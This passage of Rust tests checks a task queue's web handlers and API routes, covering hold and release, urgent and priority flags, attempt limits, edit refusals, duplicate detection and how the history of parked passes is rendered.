13072 "parked for upgrade 0.121.0 \u{2192} 0.121.1, attempt refunded"
13073 );
13074 let f = task_flow(&task, &h, 2, None);
13075 assert_eq!((f.passes, f.runs, f.attempts, f.max_attempts), (2, 1, 1, 2));
13077 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
13078 assert!(
13079 f.edges[1].label.contains("upgrade 0.121.0"),
13080 "{}",
13081 f.edges[1].label
13082 );
13083 assert!(
13084 f.edges[1].label.contains("resume the same run"),
13085 "{}",
13086 f.edges[1].label
13087 );
13088 assert_eq!(f.nodes[1].note, Some("parked"));
13089 }
13090
13091 #[test]
13092 fn distinct_run_ids_render_all_recorded_passes_in_time_order() {
13093 let mut a = flow_run(RunStatus::Implementing, |s| {
13094 s.passes = vec![
13095 recorded_pass(0, parked(upgrade_cause())),
13096 recorded_pass(1, None),
13097 ];
13098 });
13099 let mut b = flow_run(RunStatus::Failed, |s| {
13100 s.passes = vec![recorded_pass(0, None)];
13101 });
13102 a.passes[0].started_at = "2026-10-10T00:00:00Z".parse().unwrap();
13103 b.passes[0].started_at = "2026-10-10T01:00:00Z".parse().unwrap();
13104 a.passes[1].started_at = "2026-10-10T02:00:00Z".parse().unwrap();
13105 let mut task = flow_task(&[]);
13106 task.start("a".into());
13107 task.start("b".into());
13108 task.start("a".into());
13109 assert_eq!(task.runs, ["b", "a"]);
13110 task.passes = vec![settled_pass("a", 0, crate::queue::PassCost::Refunded)];
13111 let h = task_history(&task, |id| {
13112 Some(if id == "a" { a.clone() } else { b.clone() })
13113 });
13114 assert_eq!(
13115 h.iter().map(|v| v.id.as_str()).collect::<Vec<_>>(),
13116 ["a", "b", "a"]
13117 );
13118 assert_eq!(h[0].attempt, AttemptCost::Refunded);
13119 assert!(h[0].outcome.contains("upgrade"));
13120 assert_eq!(h[2].kind, "resume");
13121 assert!(h[2].pass.is_some());
13122 task.runs = vec!["a".into(), "b".into(), "a".into()];
13124 let old = task_history(&task, |id| {
13125 Some(if id == "a" { a.clone() } else { b.clone() })
13126 });
13127 assert_eq!(
13128 old.iter()
13129 .map(|v| (&v.id, &v.kind, v.attempt))
13130 .collect::<Vec<_>>(),
13131 h.iter()
13132 .map(|v| (&v.id, &v.kind, v.attempt))
13133 .collect::<Vec<_>>()
13134 );
13135 }
13136
13137 #[test]
13138 fn an_upgrade_whose_target_was_not_known_says_so() {
13139 let run = flow_run(RunStatus::Implementing, |s| {
13140 s.passes = vec![
13141 recorded_pass(
13142 0,
13143 parked(crate::run::ParkCause::Upgrade {
13144 from: "0.121.0".to_owned(),
13145 to: None,
13146 }),
13147 ),
13148 recorded_pass(1, None),
13149 ];
13150 });
13151 let task = flow_task(&[RUN_X, RUN_X]);
13152 let h = task_history(&task, |_| Some(run.clone()));
13153 assert!(
13154 h[0].outcome.contains("upgrade from 0.121.0"),
13155 "{}",
13156 h[0].outcome
13157 );
13158 assert_eq!(h[0].attempt, AttemptCost::Unknown);
13160 }
13161
13162 #[test]
13163 fn each_pass_keeps_its_own_cause_across_several_resumes() {
13164 use crate::queue::PassCost;
13165 use crate::run::ParkCause;
13166 let run = flow_run(RunStatus::Implementing, |s| {
13167 s.passes = vec![
13168 recorded_pass(0, parked(upgrade_cause())),
13169 recorded_pass(
13170 1,
13171 parked(ParkCause::Interrupt {
13172 reason: "task a1b2 asked to run first".to_owned(),
13173 }),
13174 ),
13175 recorded_pass(2, parked(ParkCause::Operator)),
13176 recorded_pass(3, None),
13177 ];
13178 });
13179 let mut task = flow_task(&[RUN_X, RUN_X, RUN_X, RUN_X]);
13180 task.attempts = 1;
13181 task.passes = (0..3)
13182 .map(|i| settled_pass(RUN_X, i, PassCost::Refunded))
13183 .collect();
13184 let h = task_history(&task, |_| Some(run.clone()));
13185 assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
13186 assert!(
13187 h[1].outcome.contains("task a1b2 asked to run first"),
13188 "{}",
13189 h[1].outcome
13190 );
13191 assert!(!h[1].outcome.contains("upgrade"), "{}", h[1].outcome);
13192 assert!(
13193 h[2].outcome.contains("operator asked the loop to park"),
13194 "{}",
13195 h[2].outcome
13196 );
13197 assert!(h[3].outcome.is_empty() || !h[3].outcome.contains("upgrade"));
13198 let f = task_flow(&task, &h, 2, None);
13199 assert_eq!((f.passes, f.runs, f.attempts), (4, 1, 1));
13200 }
13201
13202 #[test]
13203 fn a_pass_the_next_one_found_open_is_unrecorded_never_an_upgrade() {
13204 let run = flow_run(RunStatus::Implementing, |s| {
13205 s.passes = vec![
13206 recorded_pass(0, Some(crate::run::PassEnd::Unrecorded)),
13207 recorded_pass(1, None),
13208 ];
13209 });
13210 let task = flow_task(&[RUN_X, RUN_X]);
13211 let h = task_history(&task, |_| Some(run.clone()));
13212 assert_eq!(h[0].exit, RunExit::Interrupted);
13213 assert_eq!(h[0].attempt, AttemptCost::Unknown);
13214 assert!(
13215 h[0].outcome.contains("without recording why"),
13216 "{}",
13217 h[0].outcome
13218 );
13219 assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
13220 assert_eq!(h[0].pass.as_ref().map(|p| p.end), Some("unrecorded"));
13221 }
13222
13223 #[test]
13224 fn a_record_from_before_passes_stays_unknown_even_next_to_recorded_ones() {
13225 use crate::queue::PassCost;
13226 let run = flow_run(RunStatus::Implementing, |s| {
13229 s.passes = vec![
13230 recorded_pass(0, parked(upgrade_cause())),
13231 recorded_pass(1, None),
13232 ];
13233 });
13234 let mut task = flow_task(&[RUN_X, RUN_X, RUN_X]);
13235 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
13236 let h = task_history(&task, |_| Some(run.clone()));
13237 assert!(h[0].pass.is_none());
13238 assert_eq!(h[0].exit, RunExit::Interrupted);
13239 assert_eq!(h[0].attempt, AttemptCost::Unknown);
13240 assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
13241 assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
13242 assert!(h[1].outcome.contains("upgrade 0.121.0"), "{}", h[1].outcome);
13243 let legacy = flow_run(RunStatus::Implementing, |_| {});
13245 let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(legacy.clone()));
13246 assert!(h.iter().all(|v| v.pass.is_none()));
13247 assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
13248 }
13249
13250 #[test]
13251 fn a_resume_outside_the_task_loop_does_not_shift_the_recorded_passes() {
13252 use crate::queue::PassCost;
13253 let mut web = recorded_pass(1, parked(crate::run::ParkCause::Operator));
13256 web.task_entry = false;
13257 let run = flow_run(RunStatus::Implementing, |s| {
13258 s.passes = vec![
13259 recorded_pass(0, parked(upgrade_cause())),
13260 web.clone(),
13261 recorded_pass(2, None),
13262 ];
13263 });
13264 let mut task = flow_task(&[RUN_X, RUN_X]);
13265 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
13266 let h = task_history(&task, |_| Some(run.clone()));
13267 assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
13268 assert!(!h[1].outcome.contains("not recorded"), "{}", h[1].outcome);
13269
13270 let mut web0 = recorded_pass(0, parked(upgrade_cause()));
13273 web0.task_entry = false;
13274 let run = flow_run(RunStatus::Implementing, |s| {
13275 s.passes = vec![web0.clone(), recorded_pass(1, None)];
13276 });
13277 let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(run.clone()));
13278 assert!(h[0].pass.is_none());
13279 assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
13280 assert!(h[1].pass.is_some());
13281 }
13282
13283 #[tokio::test]
13284 async fn explicit_resumption_web_handler_matches_cli_without_a_listener() {
13285 let dir = tempfile::tempdir().unwrap();
13286 let queue = Queue::at(dir.path().join("queue"));
13287 let ui = Arc::new(Ui::new(
13288 queue.clone(),
13289 Questions::at(dir.path().join("questions")),
13290 Talks::at(dir.path().join("talks")),
13291 dir.path().join("runs"),
13292 dir.path().to_path_buf(),
13293 dir.path().to_path_buf(),
13294 ));
13295 let mut t = Task::new(
13296 "recover".into(),
13297 "Inspect".into(),
13298 PathBuf::from("."),
13299 Source::Human,
13300 );
13301 t.record_answer("Inspect then resume?".into(), "Inspect then wait".into());
13302 t.start("run-A".into());
13303 t.release_operator("choice", Some("resume-question"));
13304 t.resume_override = Some(crate::queue::OperatorResume {
13305 question_id: "resume-question".into(),
13306 at: jiff::Timestamp::now(),
13307 conductor_rehold: None,
13308 forced: true,
13309 pinned_run: Some("run-A".into()),
13310 });
13311 t.hold_machine(Some("inspection pending".into()));
13312 t.edit("recover".into(), "Reuse approved PR head".into())
13313 .unwrap();
13314 queue.put(&mut t).unwrap();
13315 let mut cli = t.clone();
13316 cli.release_operator("cli", None);
13317 let Json(reply) = queue_release(State(ui), Path(t.id.clone())).await.unwrap();
13318 let reloaded = queue.get(&t.id).unwrap();
13319 assert_eq!(reply.task.status, TaskStatus::Queued);
13320 assert!(reloaded.resume_override.is_none());
13321 assert_eq!(reloaded.answers, t.answers);
13322 let mut web = reloaded.resumption.unwrap();
13323 let cli = cli.resumption.unwrap();
13324 assert_eq!(web.source, "web");
13325 web.source = cli.source.clone();
13326 web.at = cli.at;
13327 assert_eq!(web, cli);
13328 }
13329
13330 #[tokio::test]
13331 async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
13332 let f = Fixture::start().await;
13333 let queue = f.queue();
13334 let mut task = Task::new(
13335 "spent".to_owned(),
13336 "Try again".to_owned(),
13337 PathBuf::from("/repo/magi"),
13338 Source::Human,
13339 );
13340 task.start("20260902-140502-bbbb".to_owned());
13341 task.fail("agent gave up", 9);
13342 queue.put(&mut task).expect("file the task");
13343
13344 let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
13345 assert_eq!(held.status, 200);
13346 assert_eq!(held.json()["status_str"], "held");
13347
13348 let released = f
13349 .post(&format!("/api/queue/{}/release", task.id), None)
13350 .await;
13351 assert_eq!(released.status, 200);
13352 assert_eq!(released.json()["status_str"], "queued");
13353 assert_eq!(released.json()["resumption"]["source"], "web");
13354 assert_eq!(released.json()["resumption"]["instruction"], "Try again");
13355 let mut cli = task.clone();
13356 cli.release_operator("cli", None);
13357 let web = queue.get(&task.id).unwrap().resumption.unwrap();
13358 let cli = cli.resumption.unwrap();
13359 assert_eq!(web.instruction, cli.instruction);
13360 assert_eq!(web.answers_through, cli.answers_through);
13361 assert_eq!(web.runs_through, cli.runs_through);
13362 assert_eq!(web.cleared_reason, cli.cleared_reason);
13363 assert_eq!(
13364 released.json()["attempts"],
13365 0,
13366 "release is a real second chance, not an instant re-hold"
13367 );
13368 assert_eq!(
13369 queue.get(&task.id).expect("reload").status,
13370 TaskStatus::Queued,
13371 "the change is on disk, not only in the reply"
13372 );
13373 assert!(
13374 !f.home
13375 .path()
13376 .join("queue")
13377 .join(format!("{}.lock", task.id))
13378 .exists(),
13379 "the claim the mutation took is released again"
13380 );
13381 }
13382
13383 #[tokio::test]
13384 async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
13385 let f = Fixture::start().await;
13386 let queue = f.queue();
13387 let mut task = Task::new(
13388 "busy".to_owned(),
13389 "Running right now".to_owned(),
13390 PathBuf::from("/repo/magi"),
13391 Source::Human,
13392 );
13393 queue.put(&mut task).expect("file the task");
13394 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
13395
13396 let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
13397
13398 assert_eq!(res.status, 409);
13399 assert_eq!(
13400 queue.get(&task.id).expect("reload").status,
13401 TaskStatus::Queued,
13402 "the refused hold changed nothing"
13403 );
13404 }
13405
13406 #[tokio::test]
13407 async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
13408 let f = Fixture::start().await;
13409 let queue = f.queue();
13410 let mut task = Task::new(
13411 "waiting on the migration".to_owned(),
13412 "Do the thing".to_owned(),
13413 PathBuf::from("/repo/magi"),
13414 Source::Human,
13415 );
13416 queue.put(&mut task).expect("file the task");
13417
13418 let held = f
13419 .post(
13420 &format!("/api/queue/{}/hold", task.id),
13421 Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
13422 )
13423 .await;
13424 assert_eq!(held.status, 200, "{}", held.body);
13425 assert_eq!(held.json()["status_str"], "held");
13426 assert_eq!(
13427 held.json()["hold_reason"],
13428 "waiting for 20260101-000000-aaaa to land"
13429 );
13430
13431 let listed = f.get("/api/queue").await.json();
13432 assert_eq!(
13433 listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
13434 "the card reads the reason off the same list route"
13435 );
13436
13437 let mut plain = Task::new(
13440 "no reason given".to_owned(),
13441 "Do another thing".to_owned(),
13442 PathBuf::from("/repo/magi"),
13443 Source::Human,
13444 );
13445 queue.put(&mut plain).expect("file the task");
13446 let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
13447 assert_eq!(held_plain.status, 200, "{}", held_plain.body);
13448 assert!(held_plain.json()["hold_reason"].is_null());
13449
13450 let released = f
13451 .post(&format!("/api/queue/{}/release", task.id), None)
13452 .await;
13453 assert_eq!(released.status, 200);
13454 assert!(
13455 released.json()["hold_reason"].is_null(),
13456 "a release must clear the reason so the next hold does not inherit it"
13457 );
13458 }
13459
13460 #[test]
13461 fn urgent_request_requires_a_boolean_and_rejects_unknown_fields() {
13462 for urgent in [true, false] {
13463 let body: UrgentBody =
13464 serde_json::from_value(serde_json::json!({ "urgent": urgent })).unwrap();
13465 assert_eq!(body.urgent, urgent);
13466 }
13467 for input in [
13468 r#"{}"#,
13469 r#"{"urgent":null}"#,
13470 r#"{"urgent":"true"}"#,
13471 r#"{"urgent":1}"#,
13472 r#"{"urgent":true,"extra":false}"#,
13473 ] {
13474 assert!(
13475 serde_json::from_str::<UrgentBody>(input).is_err(),
13476 "{input}"
13477 );
13478 }
13479 }
13480
13481 #[tokio::test]
13482 async fn urgent_handler_saves_and_rejects_claims_without_a_server() {
13483 let home = TempDir::new().unwrap();
13484 let q = Queue::at(home.path().join("queue"));
13485 let ui = Arc::new(Ui::new(
13486 q.clone(),
13487 Questions::at(home.path().join("questions")),
13488 Talks::at(home.path().join("talks")),
13489 home.path().join("runs"),
13490 home.path().into(),
13491 home.path().into(),
13492 ));
13493 let mut task = Task::new(
13494 "urgent handler".into(),
13495 "keep".into(),
13496 home.path().into(),
13497 Source::Human,
13498 );
13499 for status in [TaskStatus::Queued, TaskStatus::Held] {
13500 task.status = status;
13501 q.put(&mut task).unwrap();
13502 for urgent in [true, true, false, false] {
13503 let saved = queue_urgent(
13504 State(Arc::clone(&ui)),
13505 Path(task.short().into()),
13506 Ok(Json(UrgentBody { urgent })),
13507 )
13508 .await
13509 .unwrap();
13510 assert_eq!(serde_json::to_value(saved.0).unwrap()["urgent"], urgent);
13511 assert_eq!(q.get(&task.id).unwrap().urgent, urgent);
13512 }
13513 }
13514 task.status = TaskStatus::Queued;
13515 q.put(&mut task).unwrap();
13516 let claim = q.claim(&task.id).unwrap();
13517 let error = queue_urgent(
13518 State(Arc::clone(&ui)),
13519 Path(task.id.clone()),
13520 Ok(Json(UrgentBody { urgent: true })),
13521 )
13522 .await
13523 .unwrap_err();
13524 assert_eq!(error.status, StatusCode::CONFLICT);
13525 assert!(error.message.contains("released"));
13526 drop(claim);
13527 for status in [
13528 TaskStatus::Running,
13529 TaskStatus::Done,
13530 TaskStatus::Failed,
13531 TaskStatus::Blocked,
13532 TaskStatus::Parked,
13533 ] {
13534 task.status = status;
13535 q.put(&mut task).unwrap();
13536 let error = queue_urgent(
13537 State(Arc::clone(&ui)),
13538 Path(task.id.clone()),
13539 Ok(Json(UrgentBody { urgent: false })),
13540 )
13541 .await
13542 .unwrap_err();
13543 assert_eq!(error.status, StatusCode::BAD_REQUEST);
13544 assert!(error.message.contains(status.as_str()));
13545 }
13546 }
13547
13548 #[tokio::test]
13549 async fn urgent_api_updates_preserves_and_validates_tasks() {
13550 let f = Fixture::start().await;
13551 let q = f.queue();
13552 let mut t = Task::new(
13553 "urgent API".into(),
13554 "unchanged".into(),
13555 PathBuf::from("/repo/magi"),
13556 Source::Human,
13557 );
13558 t.attempts = 2;
13559 t.priority = 9;
13560 t.interrupt = true;
13561 t.hold_reason = Some("waiting for approval".into());
13562 for status in [TaskStatus::Queued, TaskStatus::Held] {
13563 t.status = status;
13564 q.put(&mut t).unwrap();
13565 for urgent in [true, true, false, false] {
13566 let response = f
13567 .post(
13568 &format!("/api/queue/{}/urgent", t.short()),
13569 Some(&format!("{{\"urgent\":{urgent}}}")),
13570 )
13571 .await;
13572 assert_eq!(response.status, 200, "{}", response.body);
13573 assert_eq!(response.json()["urgent"], urgent);
13574 let saved = q.get(&t.id).unwrap();
13575 let mut before = serde_json::to_value(&t).unwrap();
13576 let mut after = serde_json::to_value(saved).unwrap();
13577 before["urgent"] = urgent.into();
13578 before.as_object_mut().unwrap().remove("updated_at");
13579 after.as_object_mut().unwrap().remove("updated_at");
13580 assert_eq!(after, before);
13581 }
13582 }
13583 let route = format!("/api/queue/{}/urgent", t.id);
13584 for body in [
13585 r#"{}"#,
13586 r#"{"urgent":null}"#,
13587 r#"{"urgent":"true"}"#,
13588 r#"{"urgent":1}"#,
13589 r#"{"urgent":true,"extra":false}"#,
13590 "{",
13591 ] {
13592 assert_eq!(f.post(&route, Some(body)).await.status, 400);
13593 }
13594 t.status = TaskStatus::Queued;
13595 q.put(&mut t).unwrap();
13596 let claim = q.claim(&t.id).unwrap();
13597 let response = f.post(&route, Some(r#"{"urgent":true}"#)).await;
13598 assert_eq!(response.status, 409, "{}", response.body);
13599 assert!(!q.get(&t.id).unwrap().urgent);
13600 drop(claim);
13601 for status in [
13602 TaskStatus::Running,
13603 TaskStatus::Done,
13604 TaskStatus::Failed,
13605 TaskStatus::Blocked,
13606 TaskStatus::Parked,
13607 ] {
13608 t.status = status;
13609 q.put(&mut t).unwrap();
13610 for urgent in [true, false] {
13611 let response = f
13612 .post(&route, Some(&format!("{{\"urgent\":{urgent}}}")))
13613 .await;
13614 assert_eq!(response.status, 400, "{}", response.body);
13615 assert!(response.body.contains(status.as_str()));
13616 assert!(response.body.contains("queued or held"));
13617 assert!(!q.get(&t.id).unwrap().urgent);
13618 }
13619 }
13620 assert_eq!(
13621 f.post("/api/queue/missing/urgent", Some(r#"{"urgent":true}"#))
13622 .await
13623 .status,
13624 404
13625 );
13626 }
13627
13628 #[tokio::test]
13629 async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
13630 let f = Fixture::start().await;
13631 let queue = f.queue();
13632 let mut older = Task::new(
13633 "filed first".to_owned(),
13634 "x".to_owned(),
13635 PathBuf::from("/repo/magi"),
13636 Source::Human,
13637 );
13638 older.id = "20260101-000001-aaaa".to_owned();
13639 let mut newer = Task::new(
13640 "filed second".to_owned(),
13641 "x".to_owned(),
13642 PathBuf::from("/repo/magi"),
13643 Source::Human,
13644 );
13645 newer.id = "20260101-000002-bbbb".to_owned();
13646 queue.put(&mut older).expect("file older");
13647 queue.put(&mut newer).expect("file newer");
13648
13649 let before = f.get("/api/queue").await.json();
13652 assert_eq!(before[0]["id"], newer.id);
13653 assert_eq!(before[1]["id"], older.id);
13654
13655 let raised = f
13659 .post(
13660 &format!("/api/queue/{}/priority", older.id),
13661 Some(r#"{"priority":10}"#),
13662 )
13663 .await;
13664 assert_eq!(raised.status, 200, "{}", raised.body);
13665 assert_eq!(raised.json()["priority"], 10);
13666
13667 let after = f.get("/api/queue").await.json();
13668 let names: Vec<&str> = after
13669 .as_array()
13670 .unwrap()
13671 .iter()
13672 .map(|t| t["id"].as_str().unwrap())
13673 .collect();
13674 assert_eq!(names[0], older.id, "the raised task now sorts first");
13678 }
13679
13680 #[tokio::test]
13681 async fn task_attempt_limit_api_persists_validates_and_refuses_claims() {
13682 let dir = TempDir::new().unwrap();
13683 let q = Queue::at(dir.path().join("queue"));
13684 let ui = Arc::new(Ui::new(
13685 q.clone(),
13686 Questions::at(dir.path().join("questions")),
13687 Talks::at(dir.path().join("talks")),
13688 dir.path().join("runs"),
13689 dir.path().to_path_buf(),
13690 dir.path().to_path_buf(),
13691 ));
13692 let mut t = Task::new(
13693 "budget".into(),
13694 "keep".into(),
13695 dir.path().into(),
13696 Source::Human,
13697 );
13698 t.attempts = 2;
13699 t.runs.push("prior-run".into());
13700 t.hold_manual(Some("waiting".into()));
13701 q.put(&mut t).unwrap();
13702 let change = |value| {
13703 queue_attempt_limit(
13704 State(ui.clone()),
13705 Path(t.id.clone()),
13706 Ok(Json(AttemptLimitBody {
13707 attempt_limit: value,
13708 })),
13709 )
13710 };
13711 for value in [
13712 serde_json::json!(3),
13713 serde_json::Value::Null,
13714 serde_json::json!(1),
13715 ] {
13716 let response = change(value.clone()).await.unwrap();
13717 assert_eq!(
13718 serde_json::to_value(response.0).unwrap()["attempt_limit"],
13719 value
13720 );
13721 let saved = q.get(&t.id).unwrap();
13722 assert_eq!(
13723 serde_json::to_value(&saved).unwrap()["attempt_limit"],
13724 value
13725 );
13726 assert_eq!(saved.status, TaskStatus::Held);
13727 assert_eq!(saved.attempts, t.attempts);
13728 assert_eq!(saved.runs, t.runs);
13729 assert_eq!(saved.hold_reason, t.hold_reason);
13730 let detail = task_detail(State(ui.clone()), Path(t.id.clone()))
13731 .await
13732 .unwrap()
13733 .0;
13734 assert_eq!(detail.max_attempts, saved.effective_attempt_limit(2));
13735 assert_eq!(detail.flow.max_attempts, detail.max_attempts);
13736 let outcome = task_outcome(&saved, "prior-run", 2, |_| None);
13737 assert_eq!(outcome.max_attempts, detail.max_attempts);
13738 }
13739 for value in [
13740 serde_json::json!(0),
13741 serde_json::json!(-1),
13742 serde_json::json!(1.5),
13743 serde_json::json!("3"),
13744 serde_json::json!(true),
13745 ] {
13746 assert_eq!(
13747 change(value).await.err().unwrap().status,
13748 StatusCode::BAD_REQUEST
13749 );
13750 }
13751 assert!(serde_json::from_str::<AttemptLimitBody>("{}").is_err());
13752 let claim = q.claim(&t.id).unwrap();
13753 assert_eq!(
13754 change(serde_json::json!(4)).await.err().unwrap().status,
13755 StatusCode::CONFLICT
13756 );
13757 drop(claim);
13758 for status in [
13759 TaskStatus::Running,
13760 TaskStatus::Done,
13761 TaskStatus::Failed,
13762 TaskStatus::Blocked,
13763 TaskStatus::Parked,
13764 ] {
13765 let mut stored = q.get(&t.id).unwrap();
13766 stored.status = status;
13767 q.put(&mut stored).unwrap();
13768 assert_eq!(
13769 change(serde_json::json!(4)).await.err().unwrap().status,
13770 StatusCode::BAD_REQUEST
13771 );
13772 assert_eq!(q.get(&t.id).unwrap().attempt_limit.unwrap().get(), 1);
13773 }
13774 let mut stored = q.get(&t.id).unwrap();
13775 stored.status = TaskStatus::Queued;
13776 q.put(&mut stored).unwrap();
13777 let _ = change(serde_json::Value::Null).await.unwrap();
13778 assert_eq!(q.get(&t.id).unwrap().attempt_limit, None);
13779 }
13780
13781 #[tokio::test]
13782 async fn task_implementers_api_persists_and_refuses_claimed_or_finished_tasks() {
13783 let dir = TempDir::new().unwrap();
13784 let repo = dir.path().join("repo");
13785 std::fs::create_dir(&repo).unwrap();
13786 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).unwrap();
13787 let q = Queue::at(dir.path().join("queue"));
13788 let ui = Arc::new(Ui::new(
13789 q.clone(),
13790 Questions::at(dir.path().join("questions")),
13791 Talks::at(dir.path().join("talks")),
13792 dir.path().join("runs"),
13793 dir.path().to_path_buf(),
13794 repo.clone(),
13795 ));
13796 let mut t = Task::new(
13797 "seats".into(),
13798 "keep instruction".into(),
13799 repo,
13800 Source::Human,
13801 );
13802 t.runs.push("prior-run".into());
13803 t.hold_manual(Some("waiting".into()));
13804 q.put(&mut t).unwrap();
13805 let change = |count| {
13806 queue_implementers(
13807 State(ui.clone()),
13808 Path(t.id.clone()),
13809 Ok(Json(ImplementersBody {
13810 implementers: count,
13811 })),
13812 )
13813 };
13814 for count in [2, 1, 2] {
13815 let response = change(count).await.unwrap();
13816 assert_eq!(response.0.task.implementers(), Some(usize::from(count)));
13817 let saved = q.get(&t.id).unwrap();
13818 assert_eq!(saved.implementers(), Some(usize::from(count)));
13819 assert_eq!(saved.runs, t.runs);
13820 assert_eq!(saved.instruction, t.instruction);
13821 }
13822 for count in [0, 4] {
13823 assert_eq!(
13824 change(count).await.err().unwrap().status,
13825 StatusCode::BAD_REQUEST
13826 );
13827 }
13828 assert!(serde_json::from_str::<ImplementersBody>(r#"{"implementers":256}"#).is_err());
13829 let claim = q.claim(&t.id).unwrap();
13830 assert_eq!(change(1).await.err().unwrap().status, StatusCode::CONFLICT);
13831 drop(claim);
13832 for status in [
13833 TaskStatus::Running,
13834 TaskStatus::Done,
13835 TaskStatus::Failed,
13836 TaskStatus::Blocked,
13837 TaskStatus::Parked,
13838 ] {
13839 let mut stored = q.get(&t.id).unwrap();
13840 stored.status = status;
13841 q.put(&mut stored).unwrap();
13842 assert_eq!(
13843 change(1).await.err().unwrap().status,
13844 StatusCode::BAD_REQUEST
13845 );
13846 assert_eq!(q.get(&t.id).unwrap().implementers(), Some(2));
13847 }
13848 }
13849
13850 #[tokio::test]
13851 async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
13852 let f = Fixture::start().await;
13853 let queue = f.queue();
13854 let mut task = Task::new(
13855 "in flight".to_owned(),
13856 "x".to_owned(),
13857 PathBuf::from("/repo/magi"),
13858 Source::Human,
13859 );
13860 task.start("20260902-140502-bbbb".to_owned());
13861 queue.put(&mut task).expect("file the task");
13862
13863 let res = f
13864 .post(
13865 &format!("/api/queue/{}/priority", task.id),
13866 Some(r#"{"priority":9}"#),
13867 )
13868 .await;
13869 assert_eq!(res.status, 400, "{}", res.body);
13870 assert!(
13871 res.json()["error"]
13872 .as_str()
13873 .is_some_and(|e| e.contains("running")),
13874 "{}",
13875 res.body
13876 );
13877 assert_eq!(
13878 queue.get(&task.id).expect("reload").priority,
13879 0,
13880 "the refused write must not partially apply"
13881 );
13882 }
13883
13884 #[tokio::test]
13885 async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
13886 let f = Fixture::start().await;
13887 let queue = f.queue();
13888 let mut task = Task::new(
13889 "old title".to_owned(),
13890 "old instruction".to_owned(),
13891 PathBuf::from("/repo/magi"),
13892 Source::Agent {
13893 run: "20260101-000000-beef".to_owned(),
13894 node: "implement".to_owned(),
13895 },
13896 );
13897 task.runs.push("20260101-000000-beef".to_owned());
13898 queue.put(&mut task).expect("file the task");
13899 let created_at = task.created_at;
13900
13901 let edited = f
13902 .post(
13903 &format!("/api/queue/{}/edit", task.id),
13904 Some(r#"{"title":"new title","instruction":"new instruction"}"#),
13905 )
13906 .await;
13907 assert_eq!(edited.status, 200, "{}", edited.body);
13908 let body = edited.json();
13909 assert_eq!(body["title"], "new title");
13910 assert_eq!(body["instruction"], "new instruction");
13911 assert_eq!(body["id"], task.id, "editing must not mint a new id");
13912 assert_eq!(body["created_at"], created_at.to_string());
13913 assert_eq!(
13914 body["source"]["kind"], "agent",
13915 "editing a task an agent filed must not turn it human: {body}"
13916 );
13917 assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
13918
13919 let reloaded = queue.get(&task.id).expect("reload");
13920 assert_eq!(reloaded.title, "new title");
13921 assert_eq!(reloaded.instruction, "new instruction");
13922 }
13923
13924 #[tokio::test]
13925 async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
13926 let tmp = TempDir::new().expect("tempdir");
13929 let repo = tmp.path().join("repo");
13930 std::fs::create_dir_all(&repo).expect("repo dir");
13931 let judge = MOCK_AGENT_TOML.replace(
13932 "printf ok",
13933 r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
13934 );
13935 std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
13936 let f = Fixture::with_repo(repo.clone()).await;
13937 let queue = f.queue();
13938 let mut owner = Task::new(
13939 "owner".to_owned(),
13940 "review it".to_owned(),
13941 repo.clone(),
13942 Source::Human,
13943 );
13944 owner.review_branch = Some("magi/ab12/A".to_owned());
13945 queue.put(&mut owner).expect("file the owner");
13946 let mut task = Task::new(
13947 "draft".to_owned(),
13948 "old".to_owned(),
13949 repo.clone(),
13950 Source::Human,
13951 );
13952 queue.put(&mut task).expect("file the draft");
13953 let url = format!("/api/queue/{}/edit", task.id);
13954
13955 let refused = f
13956 .post(
13957 &url,
13958 Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
13959 )
13960 .await;
13961 assert_eq!(refused.status, 409, "{}", refused.body);
13962 let msg = refused.json()["error"]
13963 .as_str()
13964 .unwrap_or_default()
13965 .to_owned();
13966 assert!(
13967 msg.contains("magi/ab12/A") && msg.contains("force"),
13968 "{msg}"
13969 );
13970 assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
13971
13972 let forced = f
13973 .post(
13974 &url,
13975 Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
13976 )
13977 .await;
13978 assert_eq!(forced.status, 200, "{}", forced.body);
13979 }
13980
13981 #[tokio::test]
13982 async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
13983 let f = Fixture::start().await;
13984 let queue = f.queue();
13985 let mut task = Task::new(
13986 "in flight".to_owned(),
13987 "do not touch".to_owned(),
13988 PathBuf::from("/repo/magi"),
13989 Source::Human,
13990 );
13991 task.start("20260902-140502-bbbb".to_owned());
13992 queue.put(&mut task).expect("file the task");
13993
13994 let res = f
13995 .post(
13996 &format!("/api/queue/{}/edit", task.id),
13997 Some(r#"{"title":"x","instruction":"y"}"#),
13998 )
13999 .await;
14000 assert_eq!(res.status, 400, "{}", res.body);
14001 assert!(
14002 res.json()["error"]
